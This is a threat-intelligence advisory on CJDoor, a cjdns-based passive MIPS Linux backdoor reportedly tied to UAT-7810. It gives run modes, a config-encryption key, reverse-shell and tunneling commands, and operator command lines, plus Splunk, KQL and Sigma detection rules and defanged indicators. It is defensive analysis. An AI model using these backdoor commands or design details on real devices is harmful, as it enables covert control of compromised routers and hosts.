# CJDoor: Linux Backdoor Building Encrypted cjdns-Based IPv6 Overlay for Covert Device Control (JPCERT/CC, UAT-7810 Infrastructure)

> JPCERT/CC identified CJDoor, a 64-bit MIPS Linux backdoor built on cjdns v20 code, in open directories on two servers tied to UAT-7810 malware distribution infrastructure. It is passive: it listens on a random UDP port and joins the attacker to an encrypted fc00::/8 IPv6 overlay, adding remote command execution and reverse shell. Infection vector, deployment scale and operator are not established.

- **Author:** Threadlinqs Team
- **Published:** 2026-12-04T13:54:17Z
- **Last updated:** 2026-12-04T13:54:17Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-7509
- **Card image:** https://intel.threadlinqs.com/og/threat/TL-2026-7509.png
- **ID:** TL-2026-7509
- **Severity:** HIGH
- **Category:** MALWARE
- **Status:** MONITORING
- **Actor:** UAT-7810 (China)
- **Detections:** 9 (1 shown free below) · **IOCs:** 21 (3 shown free below)

## Description

CJDoor is a 64-bit MIPS ELF (MSB, MIPS-III), file name netd, documented by JPCERT/CC on 2026-12-04 (analyst: Yuma Masubuchi). JPCERT/CC examined malware distribution servers named in Cisco Talos' July 2026 UAT-7810 report (the actor behind the LapDogs operational relay box (ORB) network, which distributes LONGLEASH, DOGLEASH and JARLEASH) and found two with open directory listings. In those directories CJDoor (/netd), a Rekoobe backdoor (/7814/t) and a TUN/TAP kernel module (/tun.ko) were the only 64-bit MIPS files, suggesting they were intended to be used together; this joint deployment is not confirmed. JPCERT/CC did not publish the server IPs or domains.

CJDoor is based on the open-source cjdns project (v20; latest release v22). This is abuse of legitimate open-source code, not a compromise of cjdns itself. Each node holds a keypair; its IPv6 address (fc00::/8) is derived from the public key. Transport is UDP with cjdns CryptoAuth (Curve25519 key exchange, XSalsa20-Poly1305, SHA-512 address derivation). The node key is not hardcoded: it is generated at init, so each infected device has a unique cryptographic identity. The operator connects with standard cjdns peering (public key, password, port). CJDoor does not beacon; it is a passive backdoor listening on a UDP port chosen randomly during --init. Network detection is difficult because the port is random and the traffic is encrypted.

Run modes: './CJDoor --init http://[IP]:[Port]/[Path]' generates the keypair and random port, collects system information, interface names, IP/MAC addresses and whether iptables and a TUN device are available, saves them to sys.dat and netd.dat (encrypted with XSalsa20, key = SHA-256 of bytes 31 73 37 13 00 00 00 00, 24-byte zero nonce) and sends both files as query parameters of a plain HTTP GET (IP address only; domains and HTTPS unsupported). './CJDoor --conf netd.dat' loads the config, deletes sys.dat, netd.dat and its own executable, then listens. Other modes: no arguments, --nobg, angel (monitor process) and core (main cjdns process). It looks for /dev/net/tun, /dev/tun or /tmp/tun, falls back to 'mknod ./tun c 10 200', creates a TUN interface named pp1000, sets IPv6 disable sysctls to 0 and runs 'iptables -t nat -L -n'.

CJDoor changes the cjdns protocol: responses carry an extra 16-byte prefix, Control_Header.type 0x1F is used, and new bencoded message markers lnkq/lnkr are added. It adds a LinkCommandSender module with 14 commands (connTo, backlink, disconnFrom, disConnAll, addPwd, rmPwd, rmUseBeginWith, switchTunDev, speedTest, stopKeepAlive, u2r, runCommand via 'sh -c', rs reverse shell over TCP, allowConnection) and 24 commands added to existing modules (InterfaceController, SessionManager, RouteGen, RAWAddrIface, IpTunnel, Core, FileNo, ReachabilityCollector, TCPInterface). It can also run external tools that were not recovered: '/tmp/ud -s -l 0.0.0.0:55555 -r 127.0.0.1:<port>' (assessed as port forwarding) and './ts -g -i 10.0.0.1 -n 255.0.0.0 -R 1080:127.0.0.1:10800' (assessed as tunneling).

Companion Rekoobe (64-bit MIPS MSB): commands 1 download, 2 upload, 3 PTY shell, 4 execute; bind port 7896/TCP, reverse target 127.0.0.1:8192, hardcoded authentication password, 60 s reconnect interval, process name masqueraded as sh. The Rekoobe context does not establish who operated CJDoor. tun.ko appears built from Linux tun.c, likely to provide TUN/TAP on devices lacking it.

Context (Cisco Talos, 2026-07-07): UAT-7810 is a China-nexus (high confidence) actor that maintains the LapDogs ORB network, mainly by exploiting n-day flaws in unpatched Ruckus wireless routers (CVE-2020-22653, CVE-2020-22658, CVE-2023-25717), and in early 2026 ASUS AiCloud routers (CVE-2025-2492). Per Talos as cited by JPCERT/CC, infected devices were found mainly in the United States and Southeast Asia, and also in Japan, South Korea, Hong Kong and Taiwan. The CJDoor report does not confirm Ruckus or any other device model as a CJDoor target, and no CVE is tied to CJDoor itself. Severity is analyst-assigned (no CVSS).

## MITRE ATT&CK

- T1190 Exploit Public-Facing Application
- T1584.008 Compromise Infrastructure: Network Devices
- T1608.001 Stage Capabilities: Upload Malware
- T1059.004 Command and Scripting Interpreter: Unix Shell
- T1070.004 Indicator Removal: File Deletion
- T1036 Masquerading
- T1027.013 Obfuscated Files or Information: Encrypted/Encoded File
- T1665 Hide Infrastructure
- T1082 System Information Discovery
- T1095 Non-Application Layer Protocol
- T1573 Encrypted Channel
- T1571 Non-Standard Port
- T1572 Protocol Tunneling
- T1090 Proxy
- T1071.001 Application Layer Protocol: Web Protocols

## Free detection (Splunk SPL, Microsoft KQL, Sigma)

**CJDoor Backdoor Init / Config Load / TUN Device Setup (pp1000, mknod tun c 10 200)** (`TL-2026-7509-SPL-001`)

Behaviour-first detection of CJDoor (cjdns v20-based passive MIPS Linux backdoor, file name netd) executing on a Linux host. Fires on the fallback TUN node creation 'mknod ./tun c 10 200', the '--init http://IP:port/path' and '--conf netd.dat' run modes, or any command referencing the CJDoor TUN interface name pp1000. 'iptables -t nat -L -n' (run by CJDoor at init) is reported as supporting context only because it is common admin activity. Execution is the point where the implant is observable before it goes passive (it deletes sys.dat, netd.dat and its own binary on --conf start). Requires auditd EXECVE telemetry or equivalent. Infection vector is not established by JPCERT/CC.

- **Languages:** Splunk SPL, Microsoft KQL, Sigma
- **ATT&CK:** T1059.004, T1082, T1572, T1070.004
- **Data sources:** linux_auditd, sysmon_for_linux, microsoft_defender_for_endpoint_linux
- **Severity:** high
- **Confidence:** high

### Splunk SPL

```spl
index=linux sourcetype=linux:audit type=EXECVE earliest=-24h ("mknod" OR "pp1000" OR "netd.dat" OR "--init")
| eval cmdline=trim(coalesce(a0,"")." ".coalesce(a1,"")." ".coalesce(a2,"")." ".coalesce(a3,"")." ".coalesce(a4,""))
| eval ioc_mknod=if(like(cmdline,"%mknod%tun c 10 200%"),1,0), ioc_cjdoor_args=if(like(cmdline,"%--conf netd.dat%") OR like(cmdline,"%--init http://%"),1,0), ioc_pp1000=if(like(cmdline,"%pp1000%"),1,0), ioc_ipt_nat=if(like(cmdline,"%iptables -t nat -L -n%"),1,0)
| stats min(_time) AS first_seen max(_time) AS last_seen sum(ioc_mknod) AS mknod_tun sum(ioc_cjdoor_args) AS cjdoor_args sum(ioc_pp1000) AS pp1000_iface sum(ioc_ipt_nat) AS iptables_nat_query values(cmdline) AS cmdlines BY host
| where mknod_tun>0 OR cjdoor_args>0 OR pp1000_iface>0
| eval first_seen=strftime(first_seen,"%F %T"), last_seen=strftime(last_seen,"%F %T"), detection="CJDoor init/TUN setup TL-2026-7509"
| table host first_seen last_seen mknod_tun cjdoor_args pp1000_iface iptables_nat_query cmdlines detection
```

### Microsoft KQL

```kql
DeviceProcessEvents
| where Timestamp > ago(24h)
| where ProcessCommandLine matches regex @"mknod\s+\S*tun\s+c\s+10\s+200"
    or ProcessCommandLine matches regex @"--init\s+http://\d{1,3}(\.\d{1,3}){3}"
    or (ProcessCommandLine has "--conf" and ProcessCommandLine has "netd.dat")
    or ProcessCommandLine has "pp1000"
    or SHA256 =~ "597ed061ac707ed539f7a30d5edca5149bfe50f4dcb736e34fec29e4f139f702"
| project Timestamp, DeviceName, AccountName, FileName, FolderPath, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, SHA256
```

### Sigma

```yaml
title: CJDoor Backdoor Init, Config Load or TUN Device Setup
id: 7c1e2a54-3b8d-4f0a-9d61-5a2e8c4b7101
status: experimental
description: Detects CJDoor (cjdns-based 64-bit MIPS Linux backdoor, file name netd) init or config execution, fallback TUN node creation via mknod ./tun c 10 200, the pp1000 TUN interface name, or the known CJDoor SHA256.
references:
    - https://blogs.jpcert.or.jp/en/2026/12/cjdoor.html
author: Threadlinqs Team
date: 2026/12/04
tags:
    - attack.execution
    - attack.t1059.004
    - attack.discovery
    - attack.t1082
    - attack.command_and_control
    - attack.t1572
logsource:
    category: process_creation
    product: linux
detection:
    selection_mknod:
        CommandLine|re: 'mknod\s+\S*tun\s+c\s+10\s+200'
    selection_init:
        CommandLine|re: '--init\s+http://\d{1,3}(\.\d{1,3}){3}'
    selection_conf:
        CommandLine|contains|all:
            - '--conf'
            - 'netd.dat'
    selection_iface:
        CommandLine|contains: 'pp1000'
    selection_hash:
        Hashes|contains: 'SHA256=597ed061ac707ed539f7a30d5edca5149bfe50f4dcb736e34fec29e4f139f702'
    condition: 1 of selection_*
falsepositives:
    - Administrators manually creating a TUN character device with mknod for VPN setup
    - Legitimate software using an interface named pp1000
level: high
```

**Known false positives:**

- Administrators manually creating a TUN device with mknod (major 10, minor 200) when configuring a VPN on a device lacking /dev/net/tun
- Legitimate software or lab setups that name a tunnel interface pp1000

**Tuning notes:** Replace index=linux / sourcetype=linux:audit with your auditd index and sourcetype; auditd must log execve (e.g. -a always,exit -F arch=b64 -S execve) and long or special-character arguments may be hex-encoded. Allowlist known VPN build hosts for the mknod pattern. iptables -t nat -L -n is reported only as context; do not alert on it alone. Embedded MIPS routers rarely run auditd, so forward device syslog/EDR where available.

### 8 more detection rules (Splunk SPL, Microsoft KQL, Sigma), unlock with TL Creds

- Traffic To or From UAT-7810 Payload-Hosting Infrastructure (CJDoor Distribution Context) (locked: unlock with TL Creds)
- CJDoor [indicator] / [indicator] Artifact Creation and Deletion (Self-Cleanup) (locked: unlock with TL Creds)
- Passive Backdoor Listeners: Random High UDP Port From Writable Path and Rekoobe 7896/TCP (locked: unlock with TL Creds)
- CJDoor / Rekoobe / tun.ko Staging: Download From Bare-IP Open Directory and insmod tun.ko (locked: unlock with TL Creds)
- Rekoobe Companion Masquerading as sh From a Non-Standard Path (locked: unlock with TL Creds)
- Tunnel and Rekoobe Network Behaviour: [indicator] 55555, [indicator] 1080/10800, sh to 127.0.0.1:8192 (locked: unlock with TL Creds)
- CJDoor-Launched Port Forwarder ([indicator]) and Tunneling Tool ([indicator]) Execution (locked: unlock with TL Creds)
- CJDoor --init Beacon: Plain HTTP GET to Bare IP With Long Query String (locked: unlock with TL Creds)

Sign up free to unlock the detection rules: https://threadlinqs.com/?modal=signup

## Sample indicators (3 of 21)

Defanged, TLP:CLEAR.

- IP address: `194.233.92[.]26`
- File hash: `597ed061ac707ed539f7a30d5edca5149bfe50f4dcb736e34fec29e4f139f702`
- IP address: `217.15.160[.]247`

Full set of 21 indicators unlocks with TL Creds: https://threadlinqs.com/tl-creds

## Sources

- [CJDoor: A Backdoor Abusing cjdns (JPCERT/CC)](https://blogs.jpcert.or.jp/en/2026/12/cjdoor.html)
- [Cisco Talos: UAT-7810 expands ORB arsenal (LONGLEASH, DOGLEASH, JARLEASH)](https://blog.talosintelligence.com/uat-7810/)
- [New Linux Backdoor Could Let Hackers Secretly Control Devices Through Encrypted Networks (Cyber Security News)](https://cybersecuritynews.com/new-linux-backdoor/)
- [China-Linked APT Expands Arsenal with New Leash Backdoors (SecurityWeek)](https://www.securityweek.com/china-linked-apt-expands-arsenal-with-new-leash-backdoors/)
- [UAT-7810 Expands Its Arsenal with New LONGLEASH and DOGLEASH Malware (Hive Pro)](https://www.hivepro.com/threat-advisory/uat-7810-expands-its-arsenal-with-new-longleash-and-dogleash-malware)
- [Cisco Talos Exposes UAT-7810 LONGLEASH Backdoor on Ruckus Routers (Daily Security Review)](https://dailysecurityreview.com/cyber-security/cisco-talos-exposes-uat-7810-longleash-backdoor-on-ruckus-routers/)

## Full data

The other 8 detection rules (Splunk SPL / Microsoft KQL / Sigma) unlock with TL Creds; a free account includes daily creds: https://threadlinqs.com/?modal=signup
Indicator values unlock with TL Creds, at a lower price on Red and Purple; AI agents can query rules and IOCs through the Threadlinqs MCP server (Purple and Gold in full, 2 calls a day on a free account): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-7509
